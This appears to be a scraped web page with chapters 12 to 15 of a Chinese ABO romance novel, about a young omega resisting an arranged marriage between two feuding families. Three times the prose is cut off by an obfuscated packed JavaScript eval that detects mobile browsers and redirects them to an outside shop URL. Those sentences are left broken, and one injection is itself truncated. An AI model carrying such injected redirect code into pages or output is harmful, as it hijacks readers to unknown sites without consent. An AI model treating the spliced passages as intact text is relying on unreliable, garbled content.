谢逐扬道:“只是选取了他那些在社交平台上有合照的,不在明面上的可能还有一些。” 孟涣尔抿了抿唇:“他和你是一家的,怎么我之前去你家的时候没见到过?” “他初中就被送出去念书了,又比我大四岁,你不认识正常。”谢逐扬翻了两下服务员递上来的菜单,“劝你慎重考虑,这人以前在国外就玩得很疯,yin趴飞/叶子什么都来,这几年回来后还非常爱去商K和夜总会。” “而且据说——” 他忽然朝桌边靠近。 对面两人被吸引了注意力,也将身体向他倾斜过来。 谢逐扬压低声音:“他在床上有特殊癖好,夜总会那些和他玩过的omega出来后,身上都青一块紫一块。” “……” 滕亦然顿时像被电到似的,向后弹了一下道:“咦呃!干嘛连这种事都往外讲!” 孟涣尔也赶紧喝了口柠檬茶压压惊。 内心惊疑,表面故作冷静地道:“说这么多,你不会是故意吓我骗我玩的吧?你又不是他肚子里的蛔虫,怎么知道得那么详细?” “骗你?”谢逐扬闲闲地一挑眉。 “我有什么好处。现在我全家上下都因为这件事焦头烂额,越早把这个丑闻蒙混过去越好,你和谁结婚,你觉得谢家其他人在意么?我大可以根本不告诉你。” “这种事情,我找他们那一圈人打听打听就能知道个七七八八,没什么难度。” “靠,那你们谢家也太缺德了。”滕宜然愤愤地说。 “孟涣尔他堂哥是不对,但那也不是你们找这么烂的一个人和晃儿结婚的理由。什么意思,你姐受过的苦,也要让孟家的omega感受一下?” ……这都什么乱七八糟的。 谢逐扬啧了声,一个眼神斜过来:“说完了没。我们两家的事到底和你有什么关系,你一个外人插什么嘴?” 滕亦然猛地搂住孟涣尔的肩膀:“出了这么大的事,我当然要来给晃儿打气当后盾了!我说谢逐扬,你好歹和晃儿一块长大,怎么不见你替他着急一下?” “所以我不是把我知道的告诉你们了。”谢逐扬皱了皱眉,没好气地看他一眼。 “我们这一辈,适龄没结婚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565091|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就那么几个。理论上是有个表弟人品和能力都还不错,不过人家早有对象了,打算毕业就结婚,只不过他爸妈对omega的家境不太满意。这件事一出来,长辈就找他谈过话,对方的态度非常坚决,说如果逼他联姻,就和家里断绝关系去当上门赘婿……一家三口直接在老宅里吵上了,现在谢家也是闹得天翻地覆。” 谢逐扬一脸“这都什么事”的厌倦表情,无语地揉了揉山根。 孟涣尔和滕宜然对视一眼。 还真是家家有本难念的经。 谢逐扬顿了顿又说:“除此之外,我往上倒是还有个三十岁的本家亲戚,不过他常年在海外做生意,我对他也不了解。” 滕宜然直接惊呼:“这怎么可能!三十岁,比晃儿大了整整十岁!天呐,对方在他这个年纪的时候晃儿甚至还在上小学!” 孟涣尔也说:“不行,我不出国。” 谢逐扬道:“肯定不会一开始就让你跟他去海外。这件事说白了就是在媒体和大众面前做戏,风波过去之后,你和他一个住国内,一个住国外都行。” 话落,席间莫名陷入了短暂的沉默。 “对了晃儿,你也可以那样啊。”滕亦然忽然一击双掌,打破惨淡的氛围。 孟涣尔一脸茫然:“什么?” “就他刚才说的那个堂弟!” “是表弟。”谢逐扬在桌对面冷冷地纠正。 “无所谓。”滕宜然说,“你也学他一样,找个人号称是你男朋友,说你们很好很恩爱,没法分开,让你家里再想别的办法。” “这样能行吗?”孟涣尔惊讶地思考了一下事情的可行性。 “我之前都没有谈恋爱的迹象,这个节骨眼上却突然冒出个男朋友,很容易被猜到是怎么回事吧?” “有什么不行的?”滕宜然反问他。 “你家里再怀疑,只要两个人对好口供,他们能说什么?现在的年轻人恋爱本来就很少让亲人知道。” “当然了,要是你这个‘男朋友’条件一般,估计没什么用。所以呢,一定要找个和谢家差不多水平的。” 孟涣尔依然一脸犹豫:“可时间这么短,你让我上哪临时找一个符合要求的来?” 滕亦然拍拍胸脯:“我啊!我人脉广,我来给你搞定。两条腿的蛤蟆不好找,在咱们这个圈子里,这样的alpha难道还不好找?你等着,我等下就拉个群……” 孟涣尔见他真要拿起手机,连忙去拽滕亦然的手:“你别直接说是我要找人假扮男友这种事!” “放心。”滕亦然拍拍他的手背安抚他,“我有分寸。” ……有什么分寸你有。 他们说这些话的时候,谢逐扬就在桌对面,围观闹剧似的看着两个omega讨论。 直到滕亦然提出这个脑子没被撞过绝对想不出来的建议,谢逐扬终于忍不住了。 “你所谓的方法,就是为了避免孟涣尔跳进一个火坑,从而把他推进别的大坑里?”他嗓音凉凉地打断他们。 “先不说你这主意有多小孩子过家家,就算真的有人愿意假扮他的男朋友,你觉得人家难道就闲成这样,可以不求回报地帮你做事?” “你觉得那些同样来自有钱人家的alpha是什么省油的灯吗?可以让你在需要他们的时候呼之即来,不需要的时候再挥之即去?” 滕亦然皱起眉。 “你这家伙是怎么回事,不帮忙出主意也就算了,还对人冷嘲热讽的。有本事你说个好办法来让我们听听!” 谢逐扬不理会他的挑衅:“如果你非要坚持这是个好主意的话,那我问你,如果孟涣尔他家里人要求他证明自己,立刻就和‘男朋友’领证怎么办?” “……” 滕亦然张了张嘴,一时间被难住,过了好几秒才反驳。 “谁说有了男朋友就一定要马上结婚了?晃儿只是借这件事拒绝家里的安排。” “哦。”谢逐扬冷漠道,“既然没有爱到愿意结婚,就说明其实你对‘男朋友’的感情并不坚定,甚至你心里其实明白,自己不可能,也不想最终和他走到一起。既然如此,为什么不同意家族给你安排的婚事?” “如果他们这么问你,你又怎么回答?” 滕亦然的大脑断线片刻,恼羞成怒道:“你到底是向着晃儿,还是帮你们两家长辈过来劝他就范的,怎么这么会给人泼冷水?” “我只是提醒你,别把别人都当成傻子,也别觉得自己能在长辈面前耍心眼,小心适得其反。”谢逐扬的脸色冷下来,“真觉得人家看不出你打的什么主意?” “……不试试怎么知道!”滕亦然实在无话可说,只能梗着脖子嘴硬。 “嗯,我等着看。”谢逐扬哼了一声,看了眼手机屏幕,倏地从座位上站起来。 “我这几天忙的要死,不陪你们闲聊了,有事再联系我。” 他做了个打电话的手势,准备跟服务员去前台结账。 将要离开的时候,又忽然叫了那人的名字。 “孟涣尔。” 孟涣尔抬起头,看见他逆光的身影站在桌边,懒洋洋地低下一张神情莫测的脸来。 “别把自己玩进去了。” “……” 13. 第 13 章 孟涣尔微微愣了愣神。 直到那人走了,身旁的滕亦然还是一副愤愤的样子。 “他什么态度?嘴也太毒了。隔岸观火也就算了,还这么打消人的积极性!” 滕亦然先前听孟涣尔聊起谢逐扬还没太大感觉,现在却真觉得这人有些讨厌了。 孟涣尔没有回他,只是心神不定地看起了手机。 在孟家的时候,二叔就给了他谢家那位的联系方式。 孟涣尔想了想,加上对方的微信,在手机上约那人第二天一起出来见个面。 两人简单做完自我介绍,alpha立刻不加避讳地打量起他来:“我之前就听人说,孟家有个谢逐扬的跟屁虫omega,长得特别漂亮,没想到是真的。” ……你特么才是跟屁虫,有这么说话的吗。 孟涣尔差点一个白眼翻过去,但是忍住了。 “我们进入正题吧。”他微微挺直腰背,冷淡地假装自己没听见他刚才的话。 “家里打算让我跟你结婚,你也知道了。今天叫你出来,我就是想和你商量一下,看怎么解决这件事。” “解决?”alpha挑起眉毛,“什么意思。” “实不相瞒,我个人并不想结婚。不管是现在这个时机也好,还是被家里安排和根本不认识的人绑定也好,我都不喜欢。” 想到谢逐扬昨夜透露出的情报,孟涣尔委婉地表示:“我听别人说,你还挺爱玩的。一旦结婚了,真的不会影响你在外面的……‘活动’吗?” 他本来想说寻花问柳,最终还是换了个隐晦的词。 “所以,我希望我们都能拒绝家里的安排,互不打扰。” Alpha听完他的话,丝毫没有被人戳破真实面目的窘迫,直接笑出声来。 “你大概不懂吧。像我这样的人,最后的结局无非也就是让家里给我找个门当户对的老婆。我是谈过很多omega,不过跟你比起来也就那样。本来呢,像你这样姿色的O,就算被安排结婚,结婚对象应该也轮不上我,结果现在天降这么大一个馅饼,我为什么不要?” “……” 孟涣尔的嘴角抽动一下。 完了个大蛋,最担心的事还是出现了。 孟涣尔本来想着,如果对方对这门临时决定的“包办婚姻”也持反对态度,说不定他们可以联手想办法把婚事推了,一起出力总比单打独斗好。 他特意去找谢逐扬打听,就是想看看这人身上有没有可以利用的“弱点”。 谁能想到他这么……呵呵。 孟涣尔心中短暂郁闷了两秒,顿时兴致缺缺,懒得再和这人掰扯,拎着外套站起来。 “你的态度我已经了解了,不管怎么说,谢谢你的配合。那么再见——不对,最好是再也没有机会见。” 他将拉开的椅子推回去,冲对方点头致意,旋即毫不拖泥带水地转身离开,全然不顾那名alpha在背后大叫:“哎哎,你什么意思?菜都还没上——” 孟涣尔已经走远了。 - 他下午还有课。 好不容易抽出时间来见人一面,但结果并不如人意,孟涣尔化悲愤为动力,下课后买了杯咖啡,直接赶去学校图书馆边查资料边写下周要用到的PPT。 再倒霉也得写作业。 孟涣尔一头扎进学习的海洋里,吭哧吭哧敲了快四小时的键盘。 把他从沉浸状态中拉出来的是一股奇异的香味。 孟涣尔起先不觉,直到他的身体先一步做出反应,产生眩晕又迷离的症状,隐约发起热来。 不知是谁先喊起来:“靠,那边有个omega发情了!” 紧接着铃声大作,图书馆内部响起驱赶的警报,工作人员开始组织学生们退场:“快快,疏散了疏散了!都跑起来。” “啊……又来。” “都发情期了就不要出来了。” 接近学年末,三月份的图书馆挤满了人。备考学习的过程被人打断,学生们的脸上都写满不悦,跟着老师的指引小跑去了安全通道。 孟涣尔关上电脑正欲离开,一转身却吓了一跳。 一名不知道从哪冒出来的alpha正站在距离他两三米的必经之路上,一双眼睛直勾勾地看着自己。 孟涣尔来时兜兜转转,才在一个偏僻的角落找到位置。 这会儿旁边没有别人,他和对方对视一眼,迅速将目光移开,硬着头皮试图从那人身边穿越过去。 “抱歉,麻烦让一下。” 一股巨力忽然从手腕上传来,那人竟抓住了他的手! 孟涣尔一惊,下意识想要挣脱。 Alpha朝他靠近过来,正当孟涣尔准备呼救的时候,有人冷不丁从后背把住alpha的肩膀,带着他一个侧身,将对方掀倒在地! 孟涣尔见状,赶紧后退几步。 来人三两下将alpha钳制住,伸长了脖颈朝远处喊:“老师,这里还有一个受影响的alpha!” 他转过头,对孟涣尔说了句:“你没事吧?” “……我没事,谢谢。”孟涣尔观察着来人,发现对方也是alpha,但神智看样子还很清醒。 工作人员很快闻声赶来,将神志不清的A给架走。 孟涣尔还有些惊魂未定,突然听见那人叫他的名字:“孟涣尔?” “你是孟涣尔吗?” 孟涣尔惊讶地抬起眼,觉得这人有一点眼熟,但一时半会又想不起名字。 “啊。”他指了下对方,“你是……” 那人温和地笑了出来:“我是江成文。以前小时候我们一起在谢家玩过的,你忘了?” - 初步计划告败,孟涣尔铩羽而归。 晚上一起吃饭的时候,滕亦然十分好心地安慰他:“别灰心,你还有我呢,记得我说过要帮你找人吗?” 说实话,孟涣尔真对他的这个计策不抱希望。 但这种时候,只能死马当作活马医了。 滕亦然的效率确实给力,才隔了一个晚上就告诉孟涣尔,第一位热心嘉宾已经联系好了,随时可以面谈。 孟涣尔懒得再找地方,干脆将见面地点定在梁滨的那家餐厅。 来人是个看样子和他差不多年纪的alpha,十分直接地上来就道:“你打算什么时候结婚?我的心理预期是今年六月份前办婚礼,明年六月份前有小孩……” “???” 什么东西? “你先停一下。”孟涣尔意识到什么,打断他,“滕亦然把你叫来之前跟你说的是什么?” “他说你家里催得紧,不结婚就可能分不到财产,所以急着找人闪婚。怎么,有什么不对吗?” 孟涣尔:“……” “我是觉得这样找起人来不费力一点啦。”人走之后,滕亦然双手合十地对着孟涣尔忏悔。 “我后来回去想了想,其实谢逐扬说的也有道理。”他面露难色,“要是直接跟人说你只是想找人假扮一次性男友,那大家都很忙,没什么人愿意来。你说要是给钱当报酬吧,这些人哪有没钱的?只能找一些同样被家里逼婚的碰碰运气。” “——你看这样怎么样,先跟他们说可以试着相处一下,但有考察期,等把你家里的事解决之后,过一段时间再找理由说觉得两个人不合适把他一脚踹掉!” 滕亦然露出“你看我聪明不聪明”的表情来。 “这不是骗人吗?”孟涣尔惊呆了,他哪有那个脑子和精力干这么复杂的事。 当即拎起背包准备走了。 “哎哎!”滕亦然赶紧将他拦下,“别啊。我看你和他聊得不怎么样,第二个人都已经找好了,他说他二十分钟后就到。看在我的份上,你把剩下这个也见了吧,万一有合适的呢?” 孟涣尔想了想,终归是心软了。 他晃了晃手边的特调饮料:“……速战速决。” 第二位很快来了。 这位仁兄很明显是已工作的状态,身上穿着一丝不苟的灰西装,估计是刚从公司那边赶来,坐下没多久,就当着孟涣尔的面打起了电话。 “Tomorrowmorning我临时计划有变,要陪王总去打golf,你把我那个meetingreschedule到下午两点,注意要align到everyone让他们准备好materials,不要再像上次那样。” “What?”不知道又听到什么,他突然发出十分夸张的腔调,“我有没有toldyou这些安排你都要提前cascade下去?Annie,你需要thinkoutsidethebox!难道我不在office你就完全失去了工作动力吗,whatif我突然出差或者ta ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说到这儿,滕亦然的语气乃至表情都变得深邃起来,忽然幽幽地说:“其实你有没有意识到,他们家还有一个最好最合适的人选,谢逐扬根本没说。” 孟涣尔呆了一下。 滕亦然继续道:“他明明可以挺身而出,主动解决这个问题,但是他却装成好像根本没有这个选项的样子,你不觉得他这人特不真诚吗?表面上好像是为你着想,还告诉你那个人的各种信息,可实际上起到的作用是什么呢?只是让你更焦虑了而已。” 滕亦然有些愤愤不平的。 察觉到他在说什么,孟涣尔整个人都被吓到了,睁大眼睛道:“你说什么呢!!!” 他一下在桌边坐直起来,变得有些语无伦次:“我和他那种关系……还和他结婚,我疯了吧?他要是真提出来,那他绝对是被鬼附身了,我也不可能答应的。” “就因为是这样!”滕亦然恨铁不成钢地抓住孟涣尔的肩膀。 “你长这么漂亮,和别的alpha结婚,怎么确定你不会被对方借着婚姻的名义揩油占便宜?虽然嘴上说是表面做做功夫,你觉得两家长辈是真的希望你们一到三年五载就离婚,还是更愿意你们将错就错,继续做明面上的恩爱夫妻?” “如果对面想借机和你亲热,有了婚姻这层由头,你能随意说不吗,你能抗拒吗?” “只有谢逐扬,你们俩互相嫌弃,就算你脱光了躺他旁边,他也只会把你晾一晚上让你吹冷风到感冒。只要时机一到,他绝对会毫不拖泥带水地和你分开,皆大欢喜!” “……” 虽然是在安慰人,但听起来诡异地起不到太多安慰作用怎么回事。 孟涣尔若有所思地看着他:“滕亦然。” “嗯?” “我发现你怎么一会儿糊涂一会儿又还有点聪明?” “。” 这个思路倒确实比他上一个人海战术有逻辑点……但绝对是不可能的! “谢逐扬就是因为不想结婚,所以才那么头铁地和他爸对着干,怎么可能再因为我的事把自己搭进去?”孟涣尔无奈道,觉得滕亦然也太把事情理想化了。 有时候,不说出来也是一种表态,谢逐扬属于是给他留了一些面子。 孟涣尔要是还这么不知轻重地厚着脸皮去跟那个人商谈……一定会被他以为是前一天晚上头撞门上把脑子撞傻了而狠狠嘲笑的! 孟涣尔想象了一下那个场景。 他宁愿立刻回去收拾细软逃到国外。 “你不试试怎么知道?”滕亦然仍然不肯放弃,“这可是你的人生大事,面子重要吗?” “……” 孟涣尔闭了闭眼,将脸埋进臂弯里,声音闷闷的:“你让我想想吧。” 14. 第 14 章 正沉闷时,摆在桌面上的手机忽然振动一下,是牧天睿发来消息。 【晚上接风宴,来?】 不用想也知道,这个接风宴是为了谁举办的。 孟涣尔对着手机屏幕琢磨片刻,打字道:【每次都是你通知我,谢逐扬自己没长手?还是他根本没打算请我,是你自作主张?】 因为刚刚和滕亦然的对话,孟涣尔甚至额外解读了一下,该不会谢逐扬是自知于他“有愧”,又怕自己主动开启话题,会被孟涣尔问到不该问的,所以尽量想减少两个人私下交谈的机会? 啧。 孟涣尔无法控制地提前预设上了。 牧天睿:【?脾气咋这大,算了我让他跟你说】 下一瞬间,新消息弹出来。 谢逐扬:【又怎么了祖宗】 谢逐扬:【临时组的局,刚好梁滨他们也在这边,才说要不要把你叫上一起聚个餐】 谢逐扬:【我在这里诚挚恭迎您的到来,可以了吗?就差你了】 谢逐扬:【[定位]】 孟涣尔这才消气。 他上一秒才和牧天睿说的话,没几秒谢逐扬就直接回了,看来这几个人真在一起。 他看了眼定位的地址,说:【半个小时。】 - 孟涣尔到了地方,跟前台说了名字,被服务生引去了包间。 这是一个典型的现代中式高档餐厅,屋内的家具装潢多为带着古朴木意的黑色,从餐厅大门进来要先穿过前院铺着不规则石砖的小径,经过两排即便在冬天也依然苍翠的绿竹。 包间对外有两面巨大的落地玻璃窗,正对着庭院中心的景色,让人可以一边吃饭,一边赏景。 窗外沉甸甸的石桥弯折,冬天深静的人造水源黑潺潺地从桥下流过。 深色的仿古屋檐下,二十出头的漂亮青年呵着气从远处小跑过来。 那几个人早在屋里就看见了孟涣尔的行迹,一等他的脚步声响起在包间门口,便都纷纷回头,迎接接风宴的最后一位客人。 “哟,孟浩然来了。” “……” 孟涣尔说:“滚。” “胡说什么,明明是丁达尔。” “你也滚。” “我看你们是想说孟德尔吧。”坐在最边上的谷修杰贼笑道。 看见孟涣尔走近,他冲他勾勾手指:“晃儿来了,坐。” “……你们仨一块打包滚。”孟涣尔翻了个白眼,任服务生拿去他脱下的外套,挂在一边的衣帽架上,一屁股在空着的座位上坐下,“每次都来这套,我都大三了还不腻,有完没完?” 谢逐扬就坐在他桌子的正对面。孟涣尔和那人对视一眼,没有说话。 许是想到他先前在微信上的话,牧天睿解释道:“刚跟你发消息的时候我们还在说呢,你这几天估计心情不好,不知道你会不会来。但扬儿又回来一个多星期了,总得正式接个风,再往后就没那味儿了,所以临时组的局。” 心情不好…… 孟涣尔愣了一下,意识到他们想必是听说了自己被家里指婚的事,惊讶地一挑眉:“你们怎么知道的?” 难道是谢逐扬透露的? 孟涣尔不自觉又朝对方望过去。 “别看我,我可没说。”谢逐扬懒洋洋地说。 孟涣尔的目光又立刻触电似的收回来。 其实别说谢逐扬有可能不想见他,孟涣尔现在面对对方的时候也不是特别自然。 虽说孟华翰的事本质上和自己没关系,但他们再怎样也是一家的,有话说一荣俱荣,一损俱损,自己的堂亲闯了祸,却是整个家族都因此蒙了羞,孟涣尔作为其中的一员,也很难不受到影响,在面对谢逐扬时感到一丝羞愧和抬不起头来。 况且他不久前才刚被滕亦然“点醒”过,再看见对方,心里就更古怪了。 “没,”梁滨说,“不过我店里的员工跟我说,你今天在我那里见了两个人。” 说到这儿,他像根本忍不住似的,“噗嗤”一声笑出来。 谷修杰和牧天睿也是类似的表情。 “感觉since逐扬出国咱们已经foralongtime没有这么get-together了,howabout来abottleof康帝他们家的蒙哈榭?” “哈哈……!我等下还要driving回家,就不drinkalcohol了。Waiter,给我来一壶那个,你们店的招牌特色龙井tea!” 三个人笑成一团。 孟涣尔:“……” 早知道他就不该答应滕亦然去见人,现在变成黑历史了。 他在发小们无情的嘲笑声中逐渐石化,半天也只能挤出来一句:“你们家的员工也太碎嘴了吧!” 他很快就明白过来,现在圈子里的消息都灵通,谢家和孟家的八卦估计早就私下传开了,再看孟涣尔突然急着找“男朋友”,便不难猜出一二。 谷修杰笑够了,问他:“话说回来,你现在还好吧?有没有什么需要哥几个的地方,能做到的,我们都尽量帮忙。” “只能说是还没死。”孟涣尔长叹口气,语调平平地说。 但是也半死不活了。 在朋友面前哭惨没意思,孟涣尔主动跳过话题道:“算了,车到山前必有路。实在不行我铺盖一卷跑出去,他们能拿我有什么办法?” 孟涣尔不是小说里被家里一停卡就束手无策的富N代,他从大学一年级就开始经营自媒体,到现在也有两百多万粉。虽然广告接得不多,但账户里少说几百万还是有的,到哪也不至于饿死。 他都这样讲了,其他人原本还想说些什么的,也不好再提。 “行,你要真准备流窜出国了,跟哥说一声,到时候我跟老家的亲戚一联系,保准一艘船把你送到五湖四海。” “……我谢谢你啊。” 孟涣尔来得晚,其他几个人早在之前就点好单,这功夫,菜已经陆陆续续被端上桌。 孟涣尔添上自己想吃的菜,便开始动起筷子。 席间又随意聊了点别的。 谷修杰忽然道:“我听说你们学校图书馆又有omega信息素泄露?” “嗯。”孟涣尔夹起一块鸽子肉,“你怎么知道?” “哥谁不认识。拿着。”谷修杰抛给他一个巴掌大的东西,孟涣尔下意识接住,是一个毛茸茸的玩偶。 “我爸厂里新研究出来的防狼器,怎么样,够与时俱进吧?还是和那个F牌联名的,本来下下个月才会上专柜,我专门去要了一个过来。” “是挺可爱。”孟涣尔把玩偶拎起来晃了晃,它的末端是个能别到各种物体上的圆扣,表面看起来就像个普通的挂件。 “不过它的开关在哪里?” 谷修杰给他讲解起来。 “这样,你先长按这个唤醒键把它激活,然后把你手机的蓝牙打开。” “看到这个弹出来的提示没,让你输入紧急联系人的手机号,最多可以设置三个。电击开关在这里……前面连按四下预备,它会震动一下,再按第五下就能直接释放电流。” “你使用这个防狼器的瞬间,信息就会传导到你的手机上,自动拨打紧急联系人的电话、将你的位置信息发送给他。” 孟涣尔“哦”了一声,想了想,开始输入。 谷修杰的脑袋探过来,他猛地把手机屏幕按在胸口:“干什么?” 谷修杰对他格外警惕的反应感到莫名:“我看看你填谁的啊。” “我填的是我家的司机。”孟涣尔轻哼了一声,“没事别乱看人手机。” 他把手机转向确保对方看不到的地方,又检查了一遍手机号码,按下确定。 “这样就行了?” “行了。”谷修杰说,“你一个omega,在外面也注意点。让你经常带着防狼器你还不乐意,哪天真遇上事了怎么办?我刚才都忘了说,这可不是一个简单的防狼器,它还有一个更高级的功能……” 谷修杰话没说完,孟涣尔就道:“哎呀知道了,你好啰嗦。我从今天开始每天出门都戴,行了吧?” “……”谷修杰剩下的话被堵回嘴里。 孟涣尔说着,忽然想起来了什么。 “对了,我还在图书馆遇见那个谁了,江成文,你们还记得吗?” 其他几人第一时间都没反应过来。 “谁?” “就那个,谢逐扬他们家以前保姆的儿子,我们小时候一起玩过的。” 孟涣尔仰着头想了想:“他走的时候时候我好像也才十岁出头吧?居然还能见到,真神奇。” 空气静了两秒,像是谁都没想到会从孟涣尔口中听见这个名字。 他们眼神交流了一阵,半晌,是梁滨先呵呵两声,打破了席间没来由的沉默:“你说他啊,刚想起来有这么一个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583872|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很巧。” “我记得那时候不是听说他妈老家的亲戚生病,辞职带他回去一起照看老人了吗?这些年也一直没听说过有他的信。” 孟涣尔莫名觉得其他人讳莫如深的氛围有些奇怪。 “你们……”他小心翼翼地试探,“是在我之前已经见过他了吗?” 牧天睿笑了笑说:“没,哪有机会见啊,就觉得挺奇怪的——” 他话才到一半,便被谢逐扬中途打断:“不关你事。” 对方语气有些冷硬地说:“你以前和他很熟吗?还回忆上了。” “?” 孟涣尔不明白他怎么突然就生上气了:“你语气这么冲干什么?我就碰见他了,刚好提一句而已。” 心里窝着团无名火,他把筷子一掷:“谢逐扬你什么意思?” 孟涣尔觉得莫名其妙,他提起这茬无非是想找个话题,一个两个装神弄鬼不说人话也就算了,谢逐扬凭什么对他这么冷言冷语? “消消气消消气。”谷修杰眼见气氛不对,开始出来打圆场,“接风宴,都轻松点嘛。把两家的恩怨带到桌面上干什么呢?来,喝茶喝茶。” 他这话说得很有水平,也不管三七二十一,就将谢逐扬突然发难的原因归结到两家之间的事情上,孟涣尔一听,自觉地消了火,谢逐扬也不知怎么不说话了。 接下来的半顿饭都吃得很安稳。 孟涣尔晚上还要回去接着写作业,吃完饭没多久就走了。 他的脚步声一消失,梁滨立刻摸着下巴琢磨起来:“我怎么觉得这件事有点古怪?你说江成文那小子会不会……” 谢逐扬手里握着个玻璃杯在桌上转圈:“不知道。” 看着孟涣尔自落地窗外的走廊上远去的背影,谷修杰从裤子口袋里摸出烟盒,再抽出根烟道:“喂,你们两家不会真要让孟涣尔和你大伯家那个……嗯?结婚吧,就他那样?” 谢逐扬睨他一眼,眼神带有警告意味地说:“不许在这抽烟。” 待到谷修杰举起双手,示意自己只是玩玩,他才又道:“我不知道。” “你又不知道?我说扬儿,你可不能把对孟家的仇恨都撒在晃儿身上啊,他虽然这么多年和你是打打闹闹不大对付了点,但好歹也有情谊在吧。” 听到这儿,谢逐扬总算从今晚明显心情不佳的沉默中回过神来,翻了个白眼:“想多了。我是那种人吗?” 他指了指自己:“我——” 一个身高一米八八已成年硕士毕业智力良好成熟稳重最重要是比对方大三岁的alpha。 “从来不跟傻子较真。” 梁滨左看右看,凑过来轻声说:“我看滕亦然给出的那主意也不是完全不行,要不然咱哥几个真给他张罗一下?滕亦然介绍的不靠谱,咱们认识的人里总有合适的吧?上次那个姓周的不是说对晃儿有意思,我看他就还不错……” 他话音未落,谢逐扬立刻“啧”了一声道:“滕亦然脑子有坑,你也被带沟里了?你了解他吗就说不错——这么说你怎么不自己上,还更知根知底呢。” “操,你突然脾气这么大干嘛呀。”梁滨悻悻地缩回脖子,“那我也不是替晃儿着急吗,总不可能真看着他和你们家那个结婚吧,先把这一关过去再说呗。” “再说了,晃儿怎么也是我看着长大的,我因为这个就……不太合适吧。那不跟乱/伦似的。” “我还要找对象呢,我还憧憬完美的恋爱呢,就这么一脚踏入坟墓算怎么回事。” 梁滨越说声音越小。 说白了,朋友家里的事,他们就算再怎么关心,也终归是局外人。 平时为了彼此两肋插刀都不在话下,可真要因为这种事顺带着“牺牲”自己的婚姻,也有点太超过了。 “哎,这话我也同意。”谷修杰在旁边举起筷子说,“我不是说我和晃儿关系不好啊,但除非是对方救过我的命,否则别想让我以身相许。” “别理他。”牧天睿哂道,“这小子就是最近事情都堆一块儿了,烦着呢想找人撒气。” 说完转头对着谢逐扬:“我看你和孟涣尔关系也不错,你还是谢家人呢,你要真为他好,怎么不和他结?” 他这话本意是为梁滨出头,让谢逐扬反思反思自己的言行有多双标——如果你都不愿意,凭什么要别人同意? 结果说完,谢逐扬久违地没有说话和反驳。 牧天睿:“?” 15. 第 15 章 孟涣尔当天晚上回去就失眠了。 他嘴上说得豪迈,什么大不了就出国,可那对他来说,只不过是实在走投无路之下的下下策。 自己人生前二十年都在这片土地上长大,所有家人,朋友,认识的人脉,甚至包括他上大学后的自媒体事业,全在扎根在这里。 就因为一个突然而来的意外、一个本质上和他无关的事,孟涣尔居然要因此放弃自己长期以来稳定的生活,这太荒谬了。 这天晚上,他在床上翻来覆去,来来回回都在想他们两家的事,一直到凌晨四点才勉强睡着。 中午起来,吃了午餐,又拖着梦游似的身体去了学校。 人有时候也真奇怪,越到某种紧急时刻,反而就忽然不着急了。 也许是知道就算焦虑也没什么用。 孟涣尔比以往都要平静地上完了下午的课。即将离开时,学院的老师忽然下达通知,他们的工作室要打扫出来给应届毕业生布置展览用,让众人把自己放在教学楼的个人用品都带走。 孟涣尔临时找了几个纸箱来装他那些东西。 同时拿着这么多物品的感觉多少有些吃力,走过一楼通往平地的长台阶后,他忍不住停下来休息了一阵。 正低着头,身旁忽然飘过一句:“需要帮忙吗?” 孟涣尔惊讶地一抬头,发现是江成文。 “你是要回住的地方吗?我帮你拿一点吧,感觉挺重的。”对方笑着说。 隔了一天见到这人,孟涣尔的脑袋里几乎立刻想起昨夜几个发小语焉不详的谈论,眼里闪过一丝不易察觉的尴尬和困惑。 孟涣尔认识谢逐扬的时候才刚上小学,那会儿还没有江成文这个人,他似乎是又过了两三年后才来的谢家。 那会儿牧天睿等人闲着没事就到谢逐扬家玩,连带着他家保姆的小孩也一起混迹其中。 顶多只有十岁的年纪哪懂得什么阶级差距,在孟涣尔的记忆里,至少在明面上,这几个人之间是没有龃龉的。 可现在又是怎么回事? 一方面,孟涣尔不觉得,也不愿相信自己的几个朋友会是那种因为谁是保姆儿子就看不起对方的人。 但另一方面,他们对待江成文的态度又确实微妙。 孟涣尔犹豫了一下,下意识选择了退避:“不用,我自己就可以了。” 江成文突然沉默下来,端详了他一阵道:“是不是谢逐扬跟你说什么了?” 孟涣尔一惊,不知道江成文何以能直接精准报出人名。心中同时想,他们果然有事情在共同瞒着自己。 孟涣尔不知该如何回答,表面含混地笑了笑,心里的好奇度却愈发上升:“怎么突然提到他?” 江成文叹了口气:“因为上次分别前,我们还聊得好好的。” 图书馆的信息素暴露事故之后,学生们都被疏散至安全通道内等待通知,那近十分钟的时间里,孟涣尔一直在和身边的江成文聊天。 偶遇多年未见的熟人的感觉确实新奇,孟涣尔起初还有些生疏,后面和江成文聊到以前的一些趣事,慢慢也放开了,临走前还加了江成文的微信,约好以后有空再聊。 再见面时却忽然变得疏离冷淡,想也知道有“外力”在做干扰。 听他这么一讲,孟涣尔也无话可说。 这会儿再说什么“不是你想的那样”未免有些虚假,他道:“那就麻烦你了。” 回去的路上,孟涣尔一直在犹豫。 直到都快到达目的地了,他才试探着张口:“你刚才提到了谢逐扬,是因为你们这些年有联系吗?” 